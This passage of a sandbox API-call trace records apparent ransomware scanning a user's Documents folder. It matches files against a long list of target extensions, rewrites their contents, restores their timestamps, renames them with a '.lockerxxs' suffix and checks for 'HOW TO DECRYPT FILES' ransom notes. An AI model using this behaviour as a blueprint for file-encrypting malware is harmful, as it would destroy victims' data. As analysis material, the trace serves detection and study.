lpCreationTime=0x40752e*(dwLowDateTime=0x6b443930, dwHighDateTime=0x1d5dbe3), lpLastAccessTime=0x407536*(dwLowDateTime=0xa2f2c120, dwHighDateTime=0x1d5e102), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa2f2c120, dwHighDateTime=0x1d5e102)) returned 1 [0089.205] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.205] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2366, lpOverlapped=0x0) returned 1 [0089.207] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx") returned="YgI8i5AJKU-OI.xlsx" [0089.207] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.207] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2366, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2366, lpOverlapped=0x0) returned 1 [0089.208] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.208] CloseHandle (hObject=0x8c) returned 1 [0089.208] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ygi8i5ajku-oi.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GqRacOScnNJo\\YgI8i5AJKU-OI.xlsx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gqracoscnnjo\\ygi8i5ajku-oi.xlsx.lockerxxs")) returned 1 [0089.209] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b443930, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xa2f2c120, ftLastAccessTime.dwHighDateTime=0x1d5e102, ftLastWriteTime.dwLowDateTime=0xa2f2c120, ftLastWriteTime.dwHighDateTime=0x1d5e102, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="YgI8i5AJKU-OI.xlsx", cAlternateFileName="YGI8I5~1.XLS")) returned 0 [0089.209] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0089.209] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc98c280, ftCreationTime.dwHighDateTime=0x1d5659c, ftLastAccessTime.dwLowDateTime=0x4ade4220, ftLastAccessTime.dwHighDateTime=0x1d5e4ae, ftLastWriteTime.dwLowDateTime=0x4ade4220, ftLastWriteTime.dwHighDateTime=0x1d5e4ae, nFileSizeHigh=0x0, nFileSizeLow=0xcda4, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="IcQO5q9P.docx", cAlternateFileName="ICQO5Q~1.DOC")) returned 1 [0089.209] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IcQO5q9P.docx") returned -1 [0089.210] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IcQO5q9P.docx") returned -1 [0089.210] lstrcmpiA (lpString1="", lpString2="IcQO5q9P.docx") returned -1 [0089.210] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.210] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.210] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.210] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.210] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="IcQO5q9P.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" [0089.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.ems") returned 0 [0089.210] lstrlenA (lpString="*.ems") returned 5 [0089.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.db") returned 0 [0089.210] lstrlenA (lpString="*.db") returned 4 [0089.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.dbf") returned 0 [0089.210] lstrlenA (lpString="*.dbf") returned 5 [0089.210] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.myox") returned 0 [0089.210] lstrlenA (lpString="*.myox") returned 6 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.myo") returned 0 [0089.211] lstrlenA (lpString="*.myo") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbw") returned 0 [0089.211] lstrlenA (lpString="*.qbw") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbb") returned 0 [0089.211] lstrlenA (lpString="*.qbb") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbm") returned 0 [0089.211] lstrlenA (lpString="*.qbm") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbo") returned 0 [0089.211] lstrlenA (lpString="*.qbo") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbx") returned 0 [0089.211] lstrlenA (lpString="*.qbx") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qba") returned 0 [0089.211] lstrlenA (lpString="*.qba") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qby") returned 0 [0089.211] lstrlenA (lpString="*.qby") returned 5 [0089.211] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qbj") returned 0 [0089.212] lstrlenA (lpString="*.qbj") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.ofx") returned 0 [0089.212] lstrlenA (lpString="*.ofx") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.qif") returned 0 [0089.212] lstrlenA (lpString="*.qif") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.mye") returned 0 [0089.212] lstrlenA (lpString="*.mye") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.mbox") returned 0 [0089.212] lstrlenA (lpString="*.mbox") returned 6 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.eml") returned 0 [0089.212] lstrlenA (lpString="*.eml") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.pst") returned 0 [0089.212] lstrlenA (lpString="*.pst") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.ost") returned 0 [0089.212] lstrlenA (lpString="*.ost") returned 5 [0089.212] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.idx") returned 0 [0089.212] lstrlenA (lpString="*.idx") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.dbx") returned 0 [0089.213] lstrlenA (lpString="*.dbx") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.sql") returned 0 [0089.213] lstrlenA (lpString="*.sql") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.mdb") returned 0 [0089.213] lstrlenA (lpString="*.mdb") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.fdb") returned 0 [0089.213] lstrlenA (lpString="*.fdb") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.wab") returned 0 [0089.213] lstrlenA (lpString="*.wab") returned 5 [0089.213] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.dat") returned 0 [0089.213] lstrlenA (lpString="*.dat") returned 5 [0089.214] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.txt") returned 0 [0089.214] lstrlenA (lpString="*.txt") returned 5 [0089.214] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.jpeg") returned 0 [0089.214] lstrlenA (lpString="*.jpeg") returned 6 [0089.214] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.jpg") returned 0 [0089.214] lstrlenA (lpString="*.jpg") returned 5 [0089.214] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.png") returned 0 [0089.215] lstrlenA (lpString="*.png") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.php") returned 0 [0089.215] lstrlenA (lpString="*.php") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.cs") returned 0 [0089.215] lstrlenA (lpString="*.cs") returned 4 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.cpp") returned 0 [0089.215] lstrlenA (lpString="*.cpp") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.rar") returned 0 [0089.215] lstrlenA (lpString="*.rar") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.zip") returned 0 [0089.215] lstrlenA (lpString="*.zip") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.html") returned 0 [0089.215] lstrlenA (lpString="*.html") returned 6 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.htm") returned 0 [0089.215] lstrlenA (lpString="*.htm") returned 5 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.xlsx") returned 0 [0089.215] lstrlenA (lpString="*.xlsx") returned 6 [0089.215] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.xls") returned 0 [0089.215] lstrlenA (lpString="*.xls") returned 5 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.mp4") returned 0 [0089.216] lstrlenA (lpString="*.mp4") returned 5 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.ppt") returned 0 [0089.216] lstrlenA (lpString="*.ppt") returned 5 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.pptx") returned 0 [0089.216] lstrlenA (lpString="*.pptx") returned 6 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.doc") returned 0 [0089.216] lstrlenA (lpString="*.doc") returned 5 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.dot") returned 0 [0089.216] lstrlenA (lpString="*.dot") returned 5 [0089.216] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", pszSpec="*.docx") returned 1 [0089.216] lstrlenA (lpString="*.docx") returned 6 [0089.216] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" [0089.216] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" [0089.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx." [0089.216] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx.lockerxxs" [0089.216] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\icqo5q9p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.217] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcda4 [0089.217] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdc98c280, dwHighDateTime=0x1d5659c), lpLastAccessTime=0x407536*(dwLowDateTime=0x4ade4220, dwHighDateTime=0x1d5e4ae), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4ade4220, dwHighDateTime=0x1d5e4ae)) returned 1 [0089.217] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.217] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xcd7e, lpOverlapped=0x0) returned 1 [0089.220] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx") returned="IcQO5q9P.docx" [0089.221] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.221] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xcd7e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xcd7e, lpOverlapped=0x0) returned 1 [0089.221] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.222] CloseHandle (hObject=0x88) returned 1 [0089.222] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\icqo5q9p.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\icqo5q9p.docx.lockerxxs")) returned 1 [0089.223] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1485e6f0, ftCreationTime.dwHighDateTime=0x1d59536, ftLastAccessTime.dwLowDateTime=0xa2678230, ftLastAccessTime.dwHighDateTime=0x1d56c00, ftLastWriteTime.dwLowDateTime=0xa2678230, ftLastWriteTime.dwHighDateTime=0x1d56c00, nFileSizeHigh=0x0, nFileSizeLow=0x17d5e, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="IFJZX.docx", cAlternateFileName="IFJZX~1.DOC")) returned 1 [0089.223] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IFJZX.docx") returned -1 [0089.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IFJZX.docx") returned -1 [0089.223] lstrcmpiA (lpString1="", lpString2="IFJZX.docx") returned -1 [0089.223] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IcQO5q9P.docx") returned="IcQO5q9P.docx" [0089.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.223] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.223] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.224] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.224] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="IFJZX.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx" [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.ems") returned 0 [0089.224] lstrlenA (lpString="*.ems") returned 5 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.db") returned 0 [0089.224] lstrlenA (lpString="*.db") returned 4 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.dbf") returned 0 [0089.224] lstrlenA (lpString="*.dbf") returned 5 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.myox") returned 0 [0089.224] lstrlenA (lpString="*.myox") returned 6 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.myo") returned 0 [0089.224] lstrlenA (lpString="*.myo") returned 5 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbw") returned 0 [0089.224] lstrlenA (lpString="*.qbw") returned 5 [0089.224] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbb") returned 0 [0089.224] lstrlenA (lpString="*.qbb") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbm") returned 0 [0089.225] lstrlenA (lpString="*.qbm") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbo") returned 0 [0089.225] lstrlenA (lpString="*.qbo") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbx") returned 0 [0089.225] lstrlenA (lpString="*.qbx") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qba") returned 0 [0089.225] lstrlenA (lpString="*.qba") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qby") returned 0 [0089.225] lstrlenA (lpString="*.qby") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qbj") returned 0 [0089.225] lstrlenA (lpString="*.qbj") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.ofx") returned 0 [0089.225] lstrlenA (lpString="*.ofx") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.qif") returned 0 [0089.225] lstrlenA (lpString="*.qif") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.mye") returned 0 [0089.225] lstrlenA (lpString="*.mye") returned 5 [0089.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.mbox") returned 0 [0089.226] lstrlenA (lpString="*.mbox") returned 6 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.eml") returned 0 [0089.226] lstrlenA (lpString="*.eml") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.pst") returned 0 [0089.226] lstrlenA (lpString="*.pst") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.ost") returned 0 [0089.226] lstrlenA (lpString="*.ost") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.idx") returned 0 [0089.226] lstrlenA (lpString="*.idx") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.dbx") returned 0 [0089.226] lstrlenA (lpString="*.dbx") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.sql") returned 0 [0089.226] lstrlenA (lpString="*.sql") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.mdb") returned 0 [0089.226] lstrlenA (lpString="*.mdb") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.fdb") returned 0 [0089.226] lstrlenA (lpString="*.fdb") returned 5 [0089.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.wab") returned 0 [0089.227] lstrlenA (lpString="*.wab") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.dat") returned 0 [0089.227] lstrlenA (lpString="*.dat") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.txt") returned 0 [0089.227] lstrlenA (lpString="*.txt") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.jpeg") returned 0 [0089.227] lstrlenA (lpString="*.jpeg") returned 6 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.jpg") returned 0 [0089.227] lstrlenA (lpString="*.jpg") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.png") returned 0 [0089.227] lstrlenA (lpString="*.png") returned 5 [0089.227] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IFJZX.docx", pszSpec="*.php") returned 0 [0089.227] lstrlenA (lpString="*.php") returned 5 [0089.227] 